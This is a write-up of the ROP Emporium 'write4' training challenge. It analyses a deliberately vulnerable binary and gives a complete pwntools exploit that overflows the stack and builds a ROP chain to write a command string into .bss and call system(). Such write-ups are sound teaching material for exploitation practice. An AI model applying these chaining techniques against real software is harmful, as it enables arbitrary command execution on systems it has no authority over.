ROP Emporium - write4


With basic knowledge of how the GOT and PLT work and how function calls go through them along with a basic understanding of the amd64 ABI calling convention we can start looking for real gadgets now. In fact in this assignment we'll look at a really helpful way of loading arbitrary data into memory.

Exploring the binary

Just like before, let's start off by exploring the binary bit to get a feel for what we're dealing with here:

jasper@ropper:~/ropemporium/write4$ checksec write4
[*] '/home/jasper/ropemporium/write4/write4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
jasper@ropper:~/ropemporium/write4$ rabin2 -i write4
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004005d0  GLOBAL    FUNC puts
   2 0x004005e0  GLOBAL    FUNC system
   3 0x004005f0  GLOBAL    FUNC printf
   4 0x00400600  GLOBAL    FUNC memset
   5 0x00400610  GLOBAL    FUNC __libc_start_main
   6 0x00400620  GLOBAL    FUNC fgets
   7 0x00000000    WEAK  NOTYPE __gmon_start__
   8 0x00400630  GLOBAL    FUNC setvbuf
   7 0x00000000    WEAK  NOTYPE __gmon_start__

Previously the calls to system() had /bin/cat flag.txt as the argument setup by the binary, however that is not the case here as the assignment states:

Our first foray into proper gadget use. A call to system() is still present but we'll need to write a string into memory somehow.

Which is quickly verified too:

[0x004007b5]> afl
0x004005a0    3 26           sym._init
0x004005d0    1 6            sym.imp.puts
0x004005e0    1 6            sym.imp.system
0x004005f0    1 6            sym.imp.printf
0x00400600    1 6            sym.imp.memset
0x00400610    1 6            sym.imp.__libc_start_main
0x00400620    1 6            sym.imp.fgets
0x00400630    1 6            sym.imp.setvbuf
0x00400640    1 6            sub.__gmon_start_400640
0x00400650    1 41           entry0
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           sym.__do_global_dtors_aux
0x00400720    4 38   -> 35   entry.init0
0x00400746    1 111          sym.main
0x004007b5    1 82           sym.pwnme
0x00400807    1 17           sym.usefulFunction
0x00400830    4 101          sym.__libc_csu_init
0x004008a0    1 2            sym.__libc_csu_fini
0x004008a4    1 9            sym._fini
[0x004007b5]> s sym.usefulFunction
[0x00400807]> pdb
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      55             push rbp
|           0x00400808      4889e5         mov rbp, rsp
|           0x0040080b      bf0c094000     mov edi, str.bin_ls         ; 0x40090c ; "/bin/ls"
|           0x00400810      e8cbfdffff     call sym.imp.system         ; int system(const char *string)
|           0x00400815      90             nop
|           0x00400816      5d             pop rbp
\           0x00400817      c3             ret
[0x00400807]>

Throughout these posts I'm exploring r2 myself too and while r2 has quite a few commands these are some of the most oft-used:

  • aaa: analyse the binary in detail
  • afl: list local and imported function
  • s: seek to (address, function, string, etc)
  • pdb: disassemble basic block

A good resource I referenced was the Radare2 book along with the Radare2 wiki.

Looking for gadgets

The challenge page for write4 explains how we can still go about getting our string into memory. For this assignment I went with /bin/cat flag.txt however we might just as easily pop a shell or invoke any arbitrary command.

Whenever I need to load arbitrary data into the address space of a binary I'm exploiting I first look at the memory map of when it's running to see the permissions:

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp  /home/jasper/ropemporium/write4/write4
0x00600000         0x00601000         r--p  /home/jasper/ropemporium/write4/write4
0x00601000         0x00602000         rw-p  /home/jasper/ropemporium/write4/write4
0x00007ffff7dd8000 0x00007ffff7dfd000 r--p  /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7dfd000 0x00007ffff7f70000 r-xp  /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f70000 0x00007ffff7fb9000 r--p  /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb9000 0x00007ffff7fbc000 r--p  /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fbc000 0x00007ffff7fbf000 rw-p  /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fbf000 0x00007ffff7fc5000 rw-p  mapped
0x00007ffff7fce000 0x00007ffff7fd1000 r--p  [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 r-xp  [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 r--p  /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 r-xp  /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 r--p  /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

The range from 0x00601000 to 0x00602000 is writable and part of it corresponds to the .bss:

jasper@ropper:~/ropemporium/write4$ readelf -S write4
There are 31 section headers, starting at offset 0x1bf0:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
[...]
  [26] .bss              NOBITS           0000000000601060  00001060
       0000000000000030  0000000000000000  WA       0     0     32

This section is empty in the on-disk ELF file, but it expands when loaded to the specified size (0x30 bytes here). It's oftentimes a safe space to write into, so we can use 0x601060 as the destination for our string.

Now that we have a suitable location it's time to look for a gadget that will help us write to this address. The basic format we're looking for is:

mov [regA], regB

or more precisely in Intel assembler format, any of the following:

mov  WORD PTR [regA], regB
mov DWORD PTR [regA], regB
mov QWORD PTR [regA], regB

These allow for writing 2, 4 or 8 bytes of data respectively. The bracket notation means "the address pointed to by this register".

By putting the address of .bss into this regA register, we can write the N bytes of data in regB to this address.

Using r2 we can search for gadgets with a regular expression:

[0x00400650]> /R/ mov [dq]word
  0x00400816                 5d  pop rbp
  0x00400817                 c3  ret
  0x00400818   0f1f840000000000  nop dword [rax + rax]
  0x00400820             4d893e  mov qword [r14], r15
  0x00400823                 c3  ret

  0x0040081a               8400  test byte [rax], al
  0x0040081c               0000  add byte [rax], al
  0x0040081e               0000  add byte [rax], al
  0x00400820             4d893e  mov qword [r14], r15
  0x00400823                 c3  ret

  0x00400821               893e  mov dword [rsi], edi
  0x00400823                 c3  ret

[0x00400650]>

We have two useful gadgets here:

  0x00400820             4d893e  mov qword [r14], r15
  0x00400823                 c3  ret

and

  0x00400821               893e  mov dword [rsi], edi
  0x00400823                 c3  ret

Notice how close the addresses are! Both of these are valid instructions and this is what makes the x86_64 instruction set so susceptible for ROP because the instruction are of variable width. Meaning, the instructions encoded as 4d893e and 893e are both valid despite being of different lengths. Furthermore, this is an instruction set comprised of a lot of instructions which makes it more likely that any given sequence of bytes is actually a valid sequence of instructions. ROP attacks make thankful use of these as gadgets. Platforms such as ARM are fixed width and don't suffer from this problem/side-effect in part also because they're RISC architectures.

Exploit time

For this assignment I wrote two functions, write_to_mem() and write_to_mem8(). The latter felt a bit like cheating when using the string /bin//sh which is exactly 8 bytes and used the gadget at 0x00400820. So I used that initially to verify the approach.

Then I implemented the solution using the double word move which means it has to take into account the amount of data and write it to memory in chunks of 4 bytes. This is the done in the loop of write_to_mem(). Once the destination memory has been prepared we pop the address into RDI and call system() through the PLT:

jasper@ropper:~/ropemporium/write4$ python write4.py --debug
[+] Starting local process './write4': pid 22820
[DEBUG] Received 0x4a bytes:
    'write4 by ROP Emporium\n'
    '64bits\n'
    '\n'
    'Go ahead and give me the string already!\n'
    '> '
[DEBUG] Preparing frames to write: "/bin"
[DEBUG] Preparing frames to write: "/cat"
[DEBUG] Preparing frames to write: " fla"
[DEBUG] Preparing frames to write: "g.tx"
[DEBUG] Preparing frames to write: "t"
[DEBUG] Sent 0x139 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  91 08 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  60 10 60 00  00 00 00 00  00 00 00 00  00 00 00 00  │`·`·│····│····│····│
    00000040  93 08 40 00  00 00 00 00  2f 62 69 6e  00 00 00 00  │··@·│····│/bin│····│
    00000050  21 08 40 00  00 00 00 00  91 08 40 00  00 00 00 00  │!·@·│····│··@·│····│
    00000060  64 10 60 00  00 00 00 00  00 00 00 00  00 00 00 00  │d·`·│····│····│····│
    00000070  93 08 40 00  00 00 00 00  2f 63 61 74  00 00 00 00  │··@·│····│/cat│····│
    00000080  21 08 40 00  00 00 00 00  91 08 40 00  00 00 00 00  │!·@·│····│··@·│····│
    00000090  68 10 60 00  00 00 00 00  00 00 00 00  00 00 00 00  │h·`·│····│····│····│
    000000a0  93 08 40 00  00 00 00 00  20 66 6c 61  00 00 00 00  │··@·│····│ fla│····│
    000000b0  21 08 40 00  00 00 00 00  91 08 40 00  00 00 00 00  │!·@·│····│··@·│····│
    000000c0  6c 10 60 00  00 00 00 00  00 00 00 00  00 00 00 00  │l·`·│····│····│····│
    000000d0  93 08 40 00  00 00 00 00  67 2e 74 78  00 00 00 00  │··@·│····│g.tx│····│
    000000e0  21 08 40 00  00 00 00 00  91 08 40 00  00 00 00 00  │!·@·│····│··@·│····│
    000000f0  70 10 60 00  00 00 00 00  00 00 00 00  00 00 00 00  │p·`·│····│····│····│
    00000100  93 08 40 00  00 00 00 00  74 00 00 00  00 00 00 00  │··@·│····│t···│····│
    00000110  21 08 40 00  00 00 00 00  93 08 40 00  00 00 00 00  │!·@·│····│··@·│····│
    00000120  60 10 60 00  00 00 00 00  b9 05 40 00  00 00 00 00  │`·`·│····│··@·│····│
    00000130  e0 05 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000139
[*] Switching to interactive mode
[DEBUG] Received 0x21 bytes:
    'ROPE{a_placeholder_32byte_flag!}\n'
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

Here is the final exploit:

#!/usr/bin/env python2

import argparse

from pwn import *

def exploit():
    p = process('./write4')
    p.recvuntil('> ')

    bss = p64(0x601060)

    # Gadgets
    nop = p64(0x4005b9)
    pop_rdi = p64(0x400893)

    # Functions (and PLT entries)
    system_plt = p64(0x4005e0)

    payload = 'A' * 40

    # We could leak the libc addresses and use gets() instead (which only takes
    # a single argument) and write that into .bss.
    # Another approach would be to be able to push literal strings into memory.
    payload += write_to_mem('/bin/cat flag.txt', bss)

    payload += pop_rdi
    payload += bss
    payload += nop
    payload += system_plt

    #raw_input()
    p.sendline(payload)
    p.interactive()

def write_to_mem(input, dest):
    """
    Probable intended solution for write4 which will actually write 4 bytes at
    a time.
    """

    # 400821: mov dword ptr [rsi], edi; ret;
    mover = p64(0x400821)

    # 400891: pop rsi; pop r15; ret;
    pop_rsi = p64(0x400891)

    # 400893: pop rdi; ret;
    pop_rdi = p64(0x400893)

    chain = ''

    if type(dest) != int:
        dest = u64(dest)

    # Write the input in chunks of 4 bytes
    m = 0
    while True:
        log.debug('Preparing frames to write: "{}"'.format(input[m:m+4]))
        chain += pop_rsi
        chain += p64(dest + m)
        chain += p64(0x0)
        chain += pop_rdi
        chain += p64(to_le_dec(input[m:m+4]))
        chain += mover

        if m+4 >= len(input):
            break
        else:
            m += 4

    return chain


def write_to_mem8(input, dest):
    """
    Return payload to write data to the destination memory address.

    Caller should handle correctly sizing the input (4 or 8 bytes).
    Destination should already be a p64.

    write_to_mem8('/bin//sh', bss)
    """
    # mov qword ptr [r14], r15; ret;
    mover = p64(0x400820)

    # pop r14; pop r15; ret;
    popper = p64(0x400890)

    chain = popper
    chain += dest
    chain += p64(to_le_dec(input))
    chain += mover

    return chain


def to_le_dec(input):
    """
    Convert a string to LE decimal:
    '/bin//sh' becomes '7526411283028599343'. This can then
    be used again for p64() or hex().
    """
    return int('0x' + input[::-1].encode('hex'), 16)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--arch', '-a',
            help='Binary architecture', default='amd64')
    parser.add_argument('--os', '-O',
            help='Operating system', default='linux')
    parser.add_argument('--debug', '-d',
            help='Enable debug output', default=False,
            action='store_true')
    args = parser.parse_args()

    context(os=args.os, arch=args.arch)

    if args.debug:
        context.log_level = 'debug'

    exploit()

if __name__ == '__main__':
    main()